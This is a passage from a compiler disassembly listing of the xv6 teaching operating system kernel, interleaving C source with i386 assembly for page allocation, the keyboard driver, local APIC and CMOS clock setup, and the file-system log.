freerange(vstart, vend);
80102138: ff 75 0c pushl 0xc(%ebp)
8010213b: ff 75 08 pushl 0x8(%ebp)
8010213e: e8 7b ff ff ff call 801020be <freerange>
kmem.use_lock = 1;
80102143: c7 05 74 26 11 80 01 movl $0x1,0x80112674
8010214a: 00 00 00
}
8010214d: 83 c4 10 add $0x10,%esp
80102150: c9 leave
80102151: c3 ret
80102152 <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
80102152: f3 0f 1e fb endbr32
80102156: 55 push %ebp
80102157: 89 e5 mov %esp,%ebp
80102159: 53 push %ebx
8010215a: 83 ec 04 sub $0x4,%esp
struct run *r;
if(kmem.use_lock)
8010215d: 83 3d 74 26 11 80 00 cmpl $0x0,0x80112674
80102164: 75 21 jne 80102187 <kalloc+0x35>
acquire(&kmem.lock);
r = kmem.freelist;
80102166: 8b 1d 78 26 11 80 mov 0x80112678,%ebx
if(r)
8010216c: 85 db test %ebx,%ebx
8010216e: 74 07 je 80102177 <kalloc+0x25>
kmem.freelist = r->next;
80102170: 8b 03 mov (%ebx),%eax
80102172: a3 78 26 11 80 mov %eax,0x80112678
if(kmem.use_lock)
80102177: 83 3d 74 26 11 80 00 cmpl $0x0,0x80112674
8010217e: 75 19 jne 80102199 <kalloc+0x47>
release(&kmem.lock);
return (char*)r;
}
80102180: 89 d8 mov %ebx,%eax
80102182: 8b 5d fc mov -0x4(%ebp),%ebx
80102185: c9 leave
80102186: c3 ret
acquire(&kmem.lock);
80102187: 83 ec 0c sub $0xc,%esp
8010218a: 68 40 26 11 80 push $0x80112640
8010218f: e8 85 1d 00 00 call 80103f19 <acquire>
80102194: 83 c4 10 add $0x10,%esp
80102197: eb cd jmp 80102166 <kalloc+0x14>
release(&kmem.lock);
80102199: 83 ec 0c sub $0xc,%esp
8010219c: 68 40 26 11 80 push $0x80112640
801021a1: e8 dc 1d 00 00 call 80103f82 <release>
801021a6: 83 c4 10 add $0x10,%esp
return (char*)r;
801021a9: eb d5 jmp 80102180 <kalloc+0x2e>
801021ab <kbdgetc>:
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
801021ab: f3 0f 1e fb endbr32
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801021af: ba 64 00 00 00 mov $0x64,%edx
801021b4: ec in (%dx),%al
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
801021b5: a8 01 test $0x1,%al
801021b7: 0f 84 ad 00 00 00 je 8010226a <kbdgetc+0xbf>
801021bd: ba 60 00 00 00 mov $0x60,%edx
801021c2: ec in (%dx),%al
return -1;
data = inb(KBDATAP);
801021c3: 0f b6 d0 movzbl %al,%edx
if(data == 0xE0){
801021c6: 3c e0 cmp $0xe0,%al
801021c8: 74 5b je 80102225 <kbdgetc+0x7a>
shift |= E0ESC;
return 0;
} else if(data & 0x80){
801021ca: 84 c0 test %al,%al
801021cc: 78 64 js 80102232 <kbdgetc+0x87>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
return 0;
} else if(shift & E0ESC){
801021ce: 8b 0d b4 a5 10 80 mov 0x8010a5b4,%ecx
801021d4: f6 c1 40 test $0x40,%cl
801021d7: 74 0f je 801021e8 <kbdgetc+0x3d>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
801021d9: 83 c8 80 or $0xffffff80,%eax
801021dc: 0f b6 d0 movzbl %al,%edx
shift &= ~E0ESC;
801021df: 83 e1 bf and $0xffffffbf,%ecx
801021e2: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4
}
shift |= shiftcode[data];
801021e8: 0f b6 8a a0 6c 10 80 movzbl -0x7fef9360(%edx),%ecx
801021ef: 0b 0d b4 a5 10 80 or 0x8010a5b4,%ecx
shift ^= togglecode[data];
801021f5: 0f b6 82 a0 6b 10 80 movzbl -0x7fef9460(%edx),%eax
801021fc: 31 c1 xor %eax,%ecx
801021fe: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4
c = charcode[shift & (CTL | SHIFT)][data];
80102204: 89 c8 mov %ecx,%eax
80102206: 83 e0 03 and $0x3,%eax
80102209: 8b 04 85 80 6b 10 80 mov -0x7fef9480(,%eax,4),%eax
80102210: 0f b6 04 10 movzbl (%eax,%edx,1),%eax
if(shift & CAPSLOCK){
80102214: f6 c1 08 test $0x8,%cl
80102217: 74 56 je 8010226f <kbdgetc+0xc4>
if('a' <= c && c <= 'z')
80102219: 8d 50 9f lea -0x61(%eax),%edx
8010221c: 83 fa 19 cmp $0x19,%edx
8010221f: 77 3d ja 8010225e <kbdgetc+0xb3>
c += 'A' - 'a';
80102221: 83 e8 20 sub $0x20,%eax
80102224: c3 ret
shift |= E0ESC;
80102225: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4
return 0;
8010222c: b8 00 00 00 00 mov $0x0,%eax
80102231: c3 ret
data = (shift & E0ESC ? data : data & 0x7F);
80102232: 8b 0d b4 a5 10 80 mov 0x8010a5b4,%ecx
80102238: f6 c1 40 test $0x40,%cl
8010223b: 75 05 jne 80102242 <kbdgetc+0x97>
8010223d: 89 c2 mov %eax,%edx
8010223f: 83 e2 7f and $0x7f,%edx
shift &= ~(shiftcode[data] | E0ESC);
80102242: 0f b6 82 a0 6c 10 80 movzbl -0x7fef9360(%edx),%eax
80102249: 83 c8 40 or $0x40,%eax
8010224c: 0f b6 c0 movzbl %al,%eax
8010224f: f7 d0 not %eax
80102251: 21 c8 and %ecx,%eax
80102253: a3 b4 a5 10 80 mov %eax,0x8010a5b4
return 0;
80102258: b8 00 00 00 00 mov $0x0,%eax
8010225d: c3 ret
else if('A' <= c && c <= 'Z')
8010225e: 8d 50 bf lea -0x41(%eax),%edx
80102261: 83 fa 19 cmp $0x19,%edx
80102264: 77 09 ja 8010226f <kbdgetc+0xc4>
c += 'a' - 'A';
80102266: 83 c0 20 add $0x20,%eax
}
return c;
80102269: c3 ret
return -1;
8010226a: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010226f: c3 ret
80102270 <kbdintr>:
void
kbdintr(void)
{
80102270: f3 0f 1e fb endbr32
80102274: 55 push %ebp
80102275: 89 e5 mov %esp,%ebp
80102277: 83 ec 14 sub $0x14,%esp
consoleintr(kbdgetc);
8010227a: 68 ab 21 10 80 push $0x801021ab
8010227f: e8 d5 e4 ff ff call 80100759 <consoleintr>
}
80102284: 83 c4 10 add $0x10,%esp
80102287: c9 leave
80102288: c3 ret
80102289 <lapicw>:
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102289: 8b 0d 7c 26 11 80 mov 0x8011267c,%ecx
8010228f: 8d 04 81 lea (%ecx,%eax,4),%eax
80102292: 89 10 mov %edx,(%eax)
lapic[ID]; // wait for write to finish, by reading
80102294: a1 7c 26 11 80 mov 0x8011267c,%eax
80102299: 8b 40 20 mov 0x20(%eax),%eax
}
8010229c: c3 ret
8010229d <cmos_read>:
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010229d: ba 70 00 00 00 mov $0x70,%edx
801022a2: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801022a3: ba 71 00 00 00 mov $0x71,%edx
801022a8: ec in (%dx),%al
cmos_read(uint reg)
{
outb(CMOS_PORT, reg);
microdelay(200);
return inb(CMOS_RETURN);
801022a9: 0f b6 c0 movzbl %al,%eax
}
801022ac: c3 ret
801022ad <fill_rtcdate>:
static void
fill_rtcdate(struct rtcdate *r)
{
801022ad: 55 push %ebp
801022ae: 89 e5 mov %esp,%ebp
801022b0: 53 push %ebx
801022b1: 83 ec 04 sub $0x4,%esp
801022b4: 89 c3 mov %eax,%ebx
r->second = cmos_read(SECS);
801022b6: b8 00 00 00 00 mov $0x0,%eax
801022bb: e8 dd ff ff ff call 8010229d <cmos_read>
801022c0: 89 03 mov %eax,(%ebx)
r->minute = cmos_read(MINS);
801022c2: b8 02 00 00 00 mov $0x2,%eax
801022c7: e8 d1 ff ff ff call 8010229d <cmos_read>
801022cc: 89 43 04 mov %eax,0x4(%ebx)
r->hour = cmos_read(HOURS);
801022cf: b8 04 00 00 00 mov $0x4,%eax
801022d4: e8 c4 ff ff ff call 8010229d <cmos_read>
801022d9: 89 43 08 mov %eax,0x8(%ebx)
r->day = cmos_read(DAY);
801022dc: b8 07 00 00 00 mov $0x7,%eax
801022e1: e8 b7 ff ff ff call 8010229d <cmos_read>
801022e6: 89 43 0c mov %eax,0xc(%ebx)
r->month = cmos_read(MONTH);
801022e9: b8 08 00 00 00 mov $0x8,%eax
801022ee: e8 aa ff ff ff call 8010229d <cmos_read>
801022f3: 89 43 10 mov %eax,0x10(%ebx)
r->year = cmos_read(YEAR);
801022f6: b8 09 00 00 00 mov $0x9,%eax
801022fb: e8 9d ff ff ff call 8010229d <cmos_read>
80102300: 89 43 14 mov %eax,0x14(%ebx)
}
80102303: 83 c4 04 add $0x4,%esp
80102306: 5b pop %ebx
80102307: 5d pop %ebp
80102308: c3 ret
80102309 <lapicinit>:
{
80102309: f3 0f 1e fb endbr32
if(!lapic)
8010230d: 83 3d 7c 26 11 80 00 cmpl $0x0,0x8011267c
80102314: 0f 84 fe 00 00 00 je 80102418 <lapicinit+0x10f>
{
8010231a: 55 push %ebp
8010231b: 89 e5 mov %esp,%ebp
8010231d: 83 ec 08 sub $0x8,%esp
lapicw(SVR, ENABLE | (T_IRQ0 + IRQ_SPURIOUS));
80102320: ba 3f 01 00 00 mov $0x13f,%edx
80102325: b8 3c 00 00 00 mov $0x3c,%eax
8010232a: e8 5a ff ff ff call 80102289 <lapicw>
lapicw(TDCR, X1);
8010232f: ba 0b 00 00 00 mov $0xb,%edx
80102334: b8 f8 00 00 00 mov $0xf8,%eax
80102339: e8 4b ff ff ff call 80102289 <lapicw>
lapicw(TIMER, PERIODIC | (T_IRQ0 + IRQ_TIMER));
8010233e: ba 20 00 02 00 mov $0x20020,%edx
80102343: b8 c8 00 00 00 mov $0xc8,%eax
80102348: e8 3c ff ff ff call 80102289 <lapicw>
lapicw(TICR, 10000000);
8010234d: ba 80 96 98 00 mov $0x989680,%edx
80102352: b8 e0 00 00 00 mov $0xe0,%eax
80102357: e8 2d ff ff ff call 80102289 <lapicw>
lapicw(LINT0, MASKED);
8010235c: ba 00 00 01 00 mov $0x10000,%edx
80102361: b8 d4 00 00 00 mov $0xd4,%eax
80102366: e8 1e ff ff ff call 80102289 <lapicw>
lapicw(LINT1, MASKED);
8010236b: ba 00 00 01 00 mov $0x10000,%edx
80102370: b8 d8 00 00 00 mov $0xd8,%eax
80102375: e8 0f ff ff ff call 80102289 <lapicw>
if(((lapic[VER]>>16) & 0xFF) >= 4)
8010237a: a1 7c 26 11 80 mov 0x8011267c,%eax
8010237f: 8b 40 30 mov 0x30(%eax),%eax
80102382: c1 e8 10 shr $0x10,%eax
80102385: a8 fc test $0xfc,%al
80102387: 75 7b jne 80102404 <lapicinit+0xfb>
lapicw(ERROR, T_IRQ0 + IRQ_ERROR);
80102389: ba 33 00 00 00 mov $0x33,%edx
8010238e: b8 dc 00 00 00 mov $0xdc,%eax
80102393: e8 f1 fe ff ff call 80102289 <lapicw>
lapicw(ESR, 0);
80102398: ba 00 00 00 00 mov $0x0,%edx
8010239d: b8 a0 00 00 00 mov $0xa0,%eax
801023a2: e8 e2 fe ff ff call 80102289 <lapicw>
lapicw(ESR, 0);
801023a7: ba 00 00 00 00 mov $0x0,%edx
801023ac: b8 a0 00 00 00 mov $0xa0,%eax
801023b1: e8 d3 fe ff ff call 80102289 <lapicw>
lapicw(EOI, 0);
801023b6: ba 00 00 00 00 mov $0x0,%edx
801023bb: b8 2c 00 00 00 mov $0x2c,%eax
801023c0: e8 c4 fe ff ff call 80102289 <lapicw>
lapicw(ICRHI, 0);
801023c5: ba 00 00 00 00 mov $0x0,%edx
801023ca: b8 c4 00 00 00 mov $0xc4,%eax
801023cf: e8 b5 fe ff ff call 80102289 <lapicw>
lapicw(ICRLO, BCAST | INIT | LEVEL);
801023d4: ba 00 85 08 00 mov $0x88500,%edx
801023d9: b8 c0 00 00 00 mov $0xc0,%eax
801023de: e8 a6 fe ff ff call 80102289 <lapicw>
while(lapic[ICRLO] & DELIVS)
801023e3: a1 7c 26 11 80 mov 0x8011267c,%eax
801023e8: 8b 80 00 03 00 00 mov 0x300(%eax),%eax
801023ee: f6 c4 10 test $0x10,%ah
801023f1: 75 f0 jne 801023e3 <lapicinit+0xda>
lapicw(TPR, 0);
801023f3: ba 00 00 00 00 mov $0x0,%edx
801023f8: b8 20 00 00 00 mov $0x20,%eax
801023fd: e8 87 fe ff ff call 80102289 <lapicw>
}
80102402: c9 leave
80102403: c3 ret
lapicw(PCINT, MASKED);
80102404: ba 00 00 01 00 mov $0x10000,%edx
80102409: b8 d0 00 00 00 mov $0xd0,%eax
8010240e: e8 76 fe ff ff call 80102289 <lapicw>
80102413: e9 71 ff ff ff jmp 80102389 <lapicinit+0x80>
80102418: c3 ret
80102419 <lapicid>:
{
80102419: f3 0f 1e fb endbr32
if (!lapic)
8010241d: a1 7c 26 11 80 mov 0x8011267c,%eax
80102422: 85 c0 test %eax,%eax
80102424: 74 07 je 8010242d <lapicid+0x14>
return lapic[ID] >> 24;
80102426: 8b 40 20 mov 0x20(%eax),%eax
80102429: c1 e8 18 shr $0x18,%eax
8010242c: c3 ret
return 0;
8010242d: b8 00 00 00 00 mov $0x0,%eax
}
80102432: c3 ret
80102433 <lapiceoi>:
{
80102433: f3 0f 1e fb endbr32
if(lapic)
80102437: 83 3d 7c 26 11 80 00 cmpl $0x0,0x8011267c
8010243e: 74 17 je 80102457 <lapiceoi+0x24>
{
80102440: 55 push %ebp
80102441: 89 e5 mov %esp,%ebp
80102443: 83 ec 08 sub $0x8,%esp
lapicw(EOI, 0);
80102446: ba 00 00 00 00 mov $0x0,%edx
8010244b: b8 2c 00 00 00 mov $0x2c,%eax
80102450: e8 34 fe ff ff call 80102289 <lapicw>
}
80102455: c9 leave
80102456: c3 ret
80102457: c3 ret
80102458 <microdelay>:
{
80102458: f3 0f 1e fb endbr32
}
8010245c: c3 ret
8010245d <lapicstartap>:
{
8010245d: f3 0f 1e fb endbr32
80102461: 55 push %ebp
80102462: 89 e5 mov %esp,%ebp
80102464: 57 push %edi
80102465: 56 push %esi
80102466: 53 push %ebx
80102467: 83 ec 0c sub $0xc,%esp
8010246a: 8b 75 08 mov 0x8(%ebp),%esi
8010246d: 8b 7d 0c mov 0xc(%ebp),%edi
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102470: b8 0f 00 00 00 mov $0xf,%eax
80102475: ba 70 00 00 00 mov $0x70,%edx
8010247a: ee out %al,(%dx)
8010247b: b8 0a 00 00 00 mov $0xa,%eax
80102480: ba 71 00 00 00 mov $0x71,%edx
80102485: ee out %al,(%dx)
wrv[0] = 0;
80102486: 66 c7 05 67 04 00 80 movw $0x0,0x80000467
8010248d: 00 00
wrv[1] = addr >> 4;
8010248f: 89 f8 mov %edi,%eax
80102491: c1 e8 04 shr $0x4,%eax
80102494: 66 a3 69 04 00 80 mov %ax,0x80000469
lapicw(ICRHI, apicid<<24);
8010249a: c1 e6 18 shl $0x18,%esi
8010249d: 89 f2 mov %esi,%edx
8010249f: b8 c4 00 00 00 mov $0xc4,%eax
801024a4: e8 e0 fd ff ff call 80102289 <lapicw>
lapicw(ICRLO, INIT | LEVEL | ASSERT);
801024a9: ba 00 c5 00 00 mov $0xc500,%edx
801024ae: b8 c0 00 00 00 mov $0xc0,%eax
801024b3: e8 d1 fd ff ff call 80102289 <lapicw>
lapicw(ICRLO, INIT | LEVEL);
801024b8: ba 00 85 00 00 mov $0x8500,%edx
801024bd: b8 c0 00 00 00 mov $0xc0,%eax
801024c2: e8 c2 fd ff ff call 80102289 <lapicw>
for(i = 0; i < 2; i++){
801024c7: bb 00 00 00 00 mov $0x0,%ebx
801024cc: eb 21 jmp 801024ef <lapicstartap+0x92>
lapicw(ICRHI, apicid<<24);
801024ce: 89 f2 mov %esi,%edx
801024d0: b8 c4 00 00 00 mov $0xc4,%eax
801024d5: e8 af fd ff ff call 80102289 <lapicw>
lapicw(ICRLO, STARTUP | (addr>>12));
801024da: 89 fa mov %edi,%edx
801024dc: c1 ea 0c shr $0xc,%edx
801024df: 80 ce 06 or $0x6,%dh
801024e2: b8 c0 00 00 00 mov $0xc0,%eax
801024e7: e8 9d fd ff ff call 80102289 <lapicw>
for(i = 0; i < 2; i++){
801024ec: 83 c3 01 add $0x1,%ebx
801024ef: 83 fb 01 cmp $0x1,%ebx
801024f2: 7e da jle 801024ce <lapicstartap+0x71>
}
801024f4: 83 c4 0c add $0xc,%esp
801024f7: 5b pop %ebx
801024f8: 5e pop %esi
801024f9: 5f pop %edi
801024fa: 5d pop %ebp
801024fb: c3 ret
801024fc <cmostime>:
// qemu seems to use 24-hour GWT and the values are BCD encoded
void
cmostime(struct rtcdate *r)
{
801024fc: f3 0f 1e fb endbr32
80102500: 55 push %ebp
80102501: 89 e5 mov %esp,%ebp
80102503: 57 push %edi
80102504: 56 push %esi
80102505: 53 push %ebx
80102506: 83 ec 3c sub $0x3c,%esp
80102509: 8b 75 08 mov 0x8(%ebp),%esi
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
8010250c: b8 0b 00 00 00 mov $0xb,%eax
80102511: e8 87 fd ff ff call 8010229d <cmos_read>
bcd = (sb & (1 << 2)) == 0;
80102516: 83 e0 04 and $0x4,%eax
80102519: 89 c7 mov %eax,%edi
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
8010251b: 8d 45 d0 lea -0x30(%ebp),%eax
8010251e: e8 8a fd ff ff call 801022ad <fill_rtcdate>
if(cmos_read(CMOS_STATA) & CMOS_UIP)
80102523: b8 0a 00 00 00 mov $0xa,%eax
80102528: e8 70 fd ff ff call 8010229d <cmos_read>
8010252d: a8 80 test $0x80,%al
8010252f: 75 ea jne 8010251b <cmostime+0x1f>
continue;
fill_rtcdate(&t2);
80102531: 8d 5d b8 lea -0x48(%ebp),%ebx
80102534: 89 d8 mov %ebx,%eax
80102536: e8 72 fd ff ff call 801022ad <fill_rtcdate>
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
8010253b: 83 ec 04 sub $0x4,%esp
8010253e: 6a 18 push $0x18
80102540: 53 push %ebx
80102541: 8d 45 d0 lea -0x30(%ebp),%eax
80102544: 50 push %eax
80102545: e8 ca 1a 00 00 call 80104014 <memcmp>
8010254a: 83 c4 10 add $0x10,%esp
8010254d: 85 c0 test %eax,%eax
8010254f: 75 ca jne 8010251b <cmostime+0x1f>
break;
}
// convert
if(bcd) {
80102551: 85 ff test %edi,%edi
80102553: 75 78 jne 801025cd <cmostime+0xd1>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
80102555: 8b 45 d0 mov -0x30(%ebp),%eax
80102558: 89 c2 mov %eax,%edx
8010255a: c1 ea 04 shr $0x4,%edx
8010255d: 8d 14 92 lea (%edx,%edx,4),%edx
80102560: 83 e0 0f and $0xf,%eax
80102563: 8d 04 50 lea (%eax,%edx,2),%eax
80102566: 89 45 d0 mov %eax,-0x30(%ebp)
CONV(minute);
80102569: 8b 45 d4 mov -0x2c(%ebp),%eax
8010256c: 89 c2 mov %eax,%edx
8010256e: c1 ea 04 shr $0x4,%edx
80102571: 8d 14 92 lea (%edx,%edx,4),%edx
80102574: 83 e0 0f and $0xf,%eax
80102577: 8d 04 50 lea (%eax,%edx,2),%eax
8010257a: 89 45 d4 mov %eax,-0x2c(%ebp)
CONV(hour );
8010257d: 8b 45 d8 mov -0x28(%ebp),%eax
80102580: 89 c2 mov %eax,%edx
80102582: c1 ea 04 shr $0x4,%edx
80102585: 8d 14 92 lea (%edx,%edx,4),%edx
80102588: 83 e0 0f and $0xf,%eax
8010258b: 8d 04 50 lea (%eax,%edx,2),%eax
8010258e: 89 45 d8 mov %eax,-0x28(%ebp)
CONV(day );
80102591: 8b 45 dc mov -0x24(%ebp),%eax
80102594: 89 c2 mov %eax,%edx
80102596: c1 ea 04 shr $0x4,%edx
80102599: 8d 14 92 lea (%edx,%edx,4),%edx
8010259c: 83 e0 0f and $0xf,%eax
8010259f: 8d 04 50 lea (%eax,%edx,2),%eax
801025a2: 89 45 dc mov %eax,-0x24(%ebp)
CONV(month );
801025a5: 8b 45 e0 mov -0x20(%ebp),%eax
801025a8: 89 c2 mov %eax,%edx
801025aa: c1 ea 04 shr $0x4,%edx
801025ad: 8d 14 92 lea (%edx,%edx,4),%edx
801025b0: 83 e0 0f and $0xf,%eax
801025b3: 8d 04 50 lea (%eax,%edx,2),%eax
801025b6: 89 45 e0 mov %eax,-0x20(%ebp)
CONV(year );
801025b9: 8b 45 e4 mov -0x1c(%ebp),%eax
801025bc: 89 c2 mov %eax,%edx
801025be: c1 ea 04 shr $0x4,%edx
801025c1: 8d 14 92 lea (%edx,%edx,4),%edx
801025c4: 83 e0 0f and $0xf,%eax
801025c7: 8d 04 50 lea (%eax,%edx,2),%eax
801025ca: 89 45 e4 mov %eax,-0x1c(%ebp)
#undef CONV
}
*r = t1;
801025cd: 8b 45 d0 mov -0x30(%ebp),%eax
801025d0: 89 06 mov %eax,(%esi)
801025d2: 8b 45 d4 mov -0x2c(%ebp),%eax
801025d5: 89 46 04 mov %eax,0x4(%esi)
801025d8: 8b 45 d8 mov -0x28(%ebp),%eax
801025db: 89 46 08 mov %eax,0x8(%esi)
801025de: 8b 45 dc mov -0x24(%ebp),%eax
801025e1: 89 46 0c mov %eax,0xc(%esi)
801025e4: 8b 45 e0 mov -0x20(%ebp),%eax
801025e7: 89 46 10 mov %eax,0x10(%esi)
801025ea: 8b 45 e4 mov -0x1c(%ebp),%eax
801025ed: 89 46 14 mov %eax,0x14(%esi)
r->year += 2000;
801025f0: 81 46 14 d0 07 00 00 addl $0x7d0,0x14(%esi)
}
801025f7: 8d 65 f4 lea -0xc(%ebp),%esp
801025fa: 5b pop %ebx
801025fb: 5e pop %esi
801025fc: 5f pop %edi
801025fd: 5d pop %ebp
801025fe: c3 ret
801025ff <read_head>:
}
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
801025ff: 55 push %ebp
80102600: 89 e5 mov %esp,%ebp
80102602: 53 push %ebx
80102603: 83 ec 0c sub $0xc,%esp
struct buf *buf = bread(log.dev, log.start);
80102606: ff 35 b4 26 11 80 pushl 0x801126b4
8010260c: ff 35 c4 26 11 80 pushl 0x801126c4
80102612: e8 59 db ff ff call 80100170 <bread>
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
80102617: 8b 58 5c mov 0x5c(%eax),%ebx
8010261a: 89 1d c8 26 11 80 mov %ebx,0x801126c8
for (i = 0; i < log.lh.n; i++) {
80102620: 83 c4 10 add $0x10,%esp
80102623: ba 00 00 00 00 mov $0x0,%edx
80102628: 39 d3 cmp %edx,%ebx
8010262a: 7e 10 jle 8010263c <read_head+0x3d>
log.lh.block[i] = lh->block[i];
8010262c: 8b 4c 90 60 mov 0x60(%eax,%edx,4),%ecx
80102630: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4)
for (i = 0; i < log.lh.n; i++) {
80102637: 83 c2 01 add $0x1,%edx
8010263a: eb ec jmp 80102628 <read_head+0x29>
}
brelse(buf);
8010263c: 83 ec 0c sub $0xc,%esp
8010263f: 50 push %eax
80102640: e8 9c db ff ff call 801001e1 <brelse>
}
80102645: 83 c4 10 add $0x10,%esp
80102648: 8b 5d fc mov -0x4(%ebp),%ebx
8010264b: c9 leave
8010264c: c3 ret
8010264d <install_trans>:
{
8010264d: 55 push %ebp
8010264e: 89 e5 mov %esp,%ebp
80102650: 57 push %edi
80102651: 56 push %esi
80102652: 53 push %ebx
80102653: 83 ec 0c sub $0xc,%esp
for (tail = 0; tail < log.lh.n; tail++) {
80102656: be 00 00 00 00 mov $0x0,%esi
8010265b: 39 35 c8 26 11 80 cmp %esi,0x801126c8
80102661: 7e 68 jle 801026cb <install_trans+0x7e>
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
80102663: 89 f0 mov %esi,%eax
80102665: 03 05 b4 26 11 80 add 0x801126b4,%eax
8010266b: 83 c0 01 add $0x1,%eax
8010266e: 83 ec 08 sub $0x8,%esp
80102671: 50 push %eax
80102672: ff 35 c4 26 11 80 pushl 0x801126c4
80102678: e8 f3 da ff ff call 80100170 <bread>
8010267d: 89 c7 mov %eax,%edi
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
8010267f: 83 c4 08 add $0x8,%esp
80102682: ff 34 b5 cc 26 11 80 pushl -0x7feed934(,%esi,4)
80102689: ff 35 c4 26 11 80 pushl 0x801126c4
8010268f: e8 dc da ff ff call 80100170 <bread>
80102694: 89 c3 mov %eax,%ebx
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80102696: 8d 57 5c lea 0x5c(%edi),%edx
80102699: 8d 40 5c lea 0x5c(%eax),%eax
8010269c: 83 c4 0c add $0xc,%esp
8010269f: 68 00 02 00 00 push $0x200
801026a4: 52 push %edx
801026a5: 50 push %eax
801026a6: e8 a2 19 00 00 call 8010404d <memmove>
bwrite(dbuf); // write dst to disk
801026ab: 89 1c 24 mov %ebx,(%esp)
801026ae: e8 ef da ff ff call 801001a2 <bwrite>
brelse(lbuf);
801026b3: 89 3c 24 mov %edi,(%esp)
801026b6: e8 26 db ff ff call 801001e1 <brelse>
brelse(dbuf);
801026bb: 89 1c 24 mov %ebx,(%esp)
801026be: e8 1e db ff ff call 801001e1 <brelse>
for (tail = 0; tail < log.lh.n; tail++) {
801026c3: 83 c6 01 add $0x1,%esi
801026c6: 83 c4 10 add $0x10,%esp
801026c9: eb 90 jmp 8010265b <install_trans+0xe>
}
801026cb: 8d 65 f4 lea -0xc(%ebp),%esp
801026ce: 5b pop %ebx
801026cf: 5e pop %esi
801026d0: 5f pop %edi
801026d1: 5d pop %ebp
801026d2: c3 ret
801026d3 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
801026d3: 55 push %ebp
801026d4: 89 e5 mov %esp,%ebp
801026d6: 53 push %ebx
801026d7: 83 ec 0c sub $0xc,%esp
struct buf *buf = bread(log.dev, log.start);
801026da: ff 35 b4 26 11 80 pushl 0x801126b4
801026e0: ff 35 c4 26 11 80 pushl 0x801126c4
801026e6: e8 85 da ff ff call 80100170 <bread>
801026eb: 89 c3 mov %eax,%ebx
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
801026ed: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx
801026f3: 89 48 5c mov %ecx,0x5c(%eax)
for (i = 0; i < log.lh.n; i++) {
801026f6: 83 c4 10 add $0x10,%esp
801026f9: b8 00 00 00 00 mov $0x0,%eax
801026fe: 39 c1 cmp %eax,%ecx
80102700: 7e 10 jle 80102712 <write_head+0x3f>
hb->block[i] = log.lh.block[i];
80102702: 8b 14 85 cc 26 11 80 mov -0x7feed934(,%eax,4),%edx
80102709: 89 54 83 60 mov %edx,0x60(%ebx,%eax,4)
for (i = 0; i < log.lh.n; i++) {
8010270d: 83 c0 01 add $0x1,%eax
80102710: eb ec jmp 801026fe <write_head+0x2b>
}
bwrite(buf);
80102712: 83 ec 0c sub $0xc,%esp
80102715: 53 push %ebx
80102716: e8 87 da ff ff call 801001a2 <bwrite>
brelse(buf);
8010271b: 89 1c 24 mov %ebx,(%esp)
8010271e: e8 be da ff ff call 801001e1 <brelse>
}
80102723: 83 c4 10 add $0x10,%esp
80102726: 8b 5d fc mov -0x4(%ebp),%ebx
80102729: c9 leave
8010272a: c3 ret
8010272b <recover_from_log>:
static void
recover_from_log(void)
{
8010272b: 55 push %ebp
8010272c: 89 e5 mov %esp,%ebp
8010272e: 83 ec 08 sub $0x8,%esp
read_head();
80102731: e8 c9 fe ff ff call 801025ff <read_head>
install_trans(); // if committed, copy from log to disk
80102736: e8 12 ff ff ff call 8010264d <install_trans>
log.lh.n = 0;
8010273b: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8
80102742: 00 00 00
write_head(); // clear the log
80102745: e8 89 ff ff ff call 801026d3 <write_head>
}
8010274a: c9 leave
8010274b: c3 ret
8010274c <write_log>:
}
// Copy modified blocks from cache to log.
static void
write_log(void)
{
8010274c: 55 push %ebp
8010274d: 89 e5 mov %esp,%ebp
8010274f: 57 push %edi
80102750: 56 push %esi
80102751: 53 push %ebx
80102752: 83 ec 0c sub $0xc,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102755: be 00 00 00 00 mov $0x0,%esi
8010275a: 39 35 c8 26 11 80 cmp %esi,0x801126c8
80102760: 7e 68 jle 801027ca <write_log+0x7e>
struct buf *to = bread(log.dev, log.start+tail+1); // log block
80102762: 89 f0 mov %esi,%eax
80102764: 03 05 b4 26 11 80 add 0x801126b4,%eax
8010276a: 83 c0 01 add $0x1,%eax
8010276d: 83 ec 08 sub $0x8,%esp
80102770: 50 push %eax
80102771: ff 35 c4 26 11 80 pushl 0x801126c4
80102777: e8 f4 d9 ff ff call 80100170 <bread>
8010277c: 89 c3 mov %eax,%ebx
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
8010277e: 83 c4 08 add $0x8,%esp
80102781: ff 34 b5 cc 26 11 80 pushl -0x7feed934(,%esi,4)
80102788: ff 35 c4 26 11 80 pushl 0x801126c4
8010278e: e8 dd d9 ff ff call 80100170 <bread>
80102793: 89 c7 mov %eax,%edi
